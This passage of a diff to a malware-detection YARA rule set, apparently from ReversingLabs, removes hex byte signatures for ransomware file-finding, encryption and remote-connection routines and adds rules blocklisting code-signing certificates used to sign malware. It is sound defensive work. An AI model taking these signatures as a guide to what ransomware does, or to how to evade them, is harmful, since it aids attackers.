?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 8B 4C 24 ?? 8B C1 - 83 E8 ?? 74 ?? 51 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? - 83 C4 ?? 85 C0 75 ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A - ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 - ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 68 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 ?? A1 ?? ?? ?? ?? 85 C0 75 - } - $encrypt_files_p2 = { - E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? - ?? ?? 83 C4 ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 33 C9 - 85 F6 7E ?? 8D 56 ?? 53 8B 5C 24 ?? 03 D7 66 0F 1F 44 00 ?? 8A 04 19 8D 52 ?? 41 88 - 42 ?? 3B CE 7C ?? 5B 8D 44 24 ?? 89 74 24 ?? 50 8B 44 24 ?? 57 6A ?? 6A ?? 6A ?? FF - 70 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 85 C0 75 ?? E8 ?? ?? - ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 44 - 24 ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? FF 74 24 ?? 57 E8 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 C8 ?? 5F 5E 5D 8B 4C 24 ?? 33 CC - E8 ?? ?? ?? ?? 83 C4 ?? C3 8B 74 24 ?? 56 57 55 E8 ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 8B C6 5F 5E 5D - 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3 - } - $remote_connection_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? E8 ?? - ?? ?? ?? FF 35 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? - E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8B D8 FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 - C4 ?? 49 90 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? BA ?? ?? ?? ?? 83 3D ?? ?? - ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 0F 43 15 ?? ?? ?? ?? 89 41 ?? 8B F2 A1 ?? ?? ?? ?? 89 - 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? 8A 02 42 84 C0 75 ?? 8D BD ?? - ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 - 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? - 8B F2 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 66 90 8A 02 42 84 - C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B - CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 0F 1F 00 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? - ?? ?? ?? 8B F3 89 01 66 A1 ?? ?? ?? ?? 66 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 8A 03 43 - 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B DE 4F 8A 47 ?? 47 84 C0 75 ?? 8B CB C1 E9 ?? F3 A5 - 8B CB 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 8A 41 ?? 8D 49 ?? 84 C0 75 ?? A1 ?? ?? ?? - ?? 8B 95 ?? ?? ?? ?? 8B F2 89 01 A1 ?? ?? ?? ?? 89 41 ?? A0 ?? ?? ?? ?? 88 41 ?? 0F - } - $remote_connection_p2 = { - 1F 44 00 ?? 8A 02 42 84 C0 75 ?? 8D BD ?? ?? ?? ?? 2B D6 4F 8A 47 ?? 47 84 C0 75 ?? - 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F3 A4 8D 8D ?? ?? ?? ?? 49 0F 1F 00 8A 41 ?? 8D - 49 ?? 84 C0 75 ?? A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 - ?? A0 ?? ?? ?? ?? 6A ?? 88 41 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? 83 C4 ?? C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 08 C7 45 - ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 51 ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 1F 00 8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? - ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? - 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B D8 85 - DB 74 ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 83 EC ?? 8D 85 ?? ?? ?? ?? 8B CC 50 E8 ?? - ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 - 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 56 - FF 15 ?? ?? ?? ?? 56 FF D7 53 FF D7 FF B5 ?? ?? ?? ?? FF D7 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B - 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NUSAAPPINSTALL(APPS INSTALLER S.L.)" and pe.signatures [ i ] . serial == "66:51:cc:8b:48:50:d4:de:c6:19:61:50:3e:a7:95:6b" and 1436175828 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_25Bef28467E4750331D2F403458113B8 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "a97723cb-7814-5f08-af94-6244c1cf4145" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13566-L13582" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "dc59fdecf60f3781e92cfe8469be2e0c1cb1cfdd3e9f9757d159667437cb37f5" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "25:be:f2:84:67:e4:75:03:31:d2:f4:03:45:81:13:b8" and 1474156800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Ouroboros : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_0296Cf3314F434C5B74D0C3E36616Dd1 : INFO FILE { meta: - description = "Yara rule that detects Ouroboros ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "af0b9311-a7dd-56e8-a004-0828af5af5ef" - date = "2020-06-26" - modified = "2020-07-15" + id = "ae7d8c3c-0ac8-5ea5-8013-97ccb2ace4e4" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Ouroboros.yara#L1-L175" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L13584-L13600" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b573f303318452010ff46f21a02b6290820f9a27bf4c51b72f6ed15263b5f433" + logic_hash = "acf3b7460c79fa71c1b131b26a40bbc286c9da0a5fe7071bbe8b386a3ca91de4" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Ouroboros" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $remote_connection_p1 = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? - 33 C5 89 45 ?? 56 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 75 ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? - ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? - 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? - ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 - } - $remote_connection_p2 = { - C6 45 ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? - C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 - ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B - 95 ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? - ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? - ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 75 ?? 8D 8D ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 8D 45 ?? C6 85 ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 50 8B CE C7 06 ?? ?? ?? ?? C6 46 ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? - 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 - } - $remote_connection_p3 = { - F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF - 75 ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? - ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 - FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 - ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? - ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A - ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? - ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 - ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 85 C9 74 ?? 8B 95 ?? ?? ?? - ?? 8B C1 2B D1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F - 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8B C6 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $remote_connection_p4 = { - 8B 55 ?? C7 06 ?? ?? ?? ?? C6 46 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? - ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? - ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? FF - 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 - ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 - 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7 45 ?? - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA - ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 - E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? - ?? FF 70 ?? 8D 45 ?? 50 8B C8 E8 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 83 C4 ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? - 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 8D - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? - ?? ?? ?? 85 C9 0F 84 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C1 2B D1 81 FA ?? ?? ?? ?? 0F - 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 86 ?? ?? ?? ?? E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? E8 - } - $find_files = { - 8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 83 C8 ?? 57 8B 7D ?? - 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? - ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? - FF 75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4D ?? - 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 C0 50 - 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 - 89 45 ?? 8B 4D ?? 53 8B 5D ?? 56 8B 75 ?? 57 89 B5 ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74 - ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 53 E8 ?? ?? ?? ?? 59 59 8B C8 3B CB 75 ?? 8A 11 80 FA - ?? 75 ?? 8D 43 ?? 3B C8 74 ?? 56 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 FF - 80 FA ?? 74 ?? 80 FA ?? 74 ?? 80 FA ?? 74 ?? 8B C7 EB ?? 33 C0 40 0F B6 C0 2B CB 41 - F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 57 53 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? - ?? ?? ?? 83 FE ?? 75 ?? 50 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 - FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? - 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 - 74 ?? 80 F9 ?? 75 ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? - ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? - ?? 85 C0 8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B - C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 - ?? E9 - } - $encrypt_files_p1 = { - 83 EC ?? 8B 44 24 ?? 53 55 56 8B F1 89 44 24 ?? 57 8B 7C 24 ?? 8B 6E ?? 3B FD 77 ?? - 8B DE 83 FD ?? 72 ?? 8B 1E 57 50 53 89 7E ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 04 1F ?? 8B - C6 5F 5E 5D 5B 83 C4 ?? C2 ?? ?? 81 FF ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B DF 83 CB ?? - 81 FB ?? ?? ?? ?? 76 ?? BB ?? ?? ?? ?? EB ?? 8B CD B8 ?? ?? ?? ?? D1 E9 2B C1 3B E8 - 76 ?? BB ?? ?? ?? ?? EB ?? 8D 04 29 3B D8 0F 42 D8 33 C9 8B C3 83 C0 ?? 0F 92 C1 F7 - D9 0B C8 51 8B CE E8 ?? ?? ?? ?? 57 FF 74 24 ?? 89 44 24 ?? 50 89 7E ?? 89 5E ?? E8 - ?? ?? ?? ?? 8B 5C 24 ?? 83 C4 ?? C6 04 1F ?? 83 FD ?? 72 ?? 8B 06 45 81 FD ?? ?? ?? - ?? 72 ?? 8B 48 ?? 83 C5 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 8B C1 55 50 E8 ?? ?? ?? ?? - 83 C4 ?? 5F 89 1E 8B C6 5E 5D 5B 83 C4 ?? C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC - CC CC CC CC 83 EC ?? 53 55 8B 6C 24 ?? 56 57 8B F9 8B 4C 24 ?? 89 4C 24 ?? 8B 5F ?? - 3B EB 77 ?? 89 7C 24 ?? 8B C7 83 FB ?? 72 ?? 8B 07 89 44 24 ?? 8D 34 6D - } - $encrypt_files_p2 = { - 89 6F ?? 56 51 50 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 33 C9 66 89 0C 06 8B C7 5F 5E - 5D 5B 83 C4 ?? C2 ?? ?? 81 FD ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B F5 83 CE ?? 81 FE ?? - ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? 8B CB B8 ?? ?? ?? ?? D1 E9 2B C1 3B D8 76 ?? BE - ?? ?? ?? ?? EB ?? 8D 04 19 3B F0 0F 42 F0 33 C9 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 - 51 8B CF E8 ?? ?? ?? ?? 89 77 ?? 8D 34 6D ?? ?? ?? ?? 56 FF 74 24 ?? 89 44 24 ?? 50 - 89 6F ?? E8 ?? ?? ?? ?? 8B 6C 24 ?? 33 C0 83 C4 ?? 66 89 04 2E 83 FB ?? 72 ?? 8B 07 - 8D 1C 5D ?? ?? ?? ?? 81 FB ?? ?? ?? ?? 72 ?? 8B 48 ?? 83 C3 ?? 2B C1 83 C0 ?? 83 F8 - ?? 77 ?? 8B C1 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 2F 8B C7 5F 5E 5D 5B 83 C4 ?? C2 ?? - ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 8B 44 24 ?? 83 EC ?? 83 E0 ?? 89 41 ?? 8B 49 ?? - 23 C8 75 ?? 83 C4 ?? C2 ?? ?? 56 F6 C1 ?? 74 ?? BE ?? ?? ?? ?? EB ?? F6 C1 ?? BE ?? - ?? ?? ?? B8 ?? ?? ?? ?? 0F 44 F0 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C - 24 ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 5E - } - $encrypt_files_angus_version = { - 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? - ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 03 C1 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 43 - 8D ?? ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? B9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 39 8D ?? ?? ?? ?? 8D 85 ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? 0F 42 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? - ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? - ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? 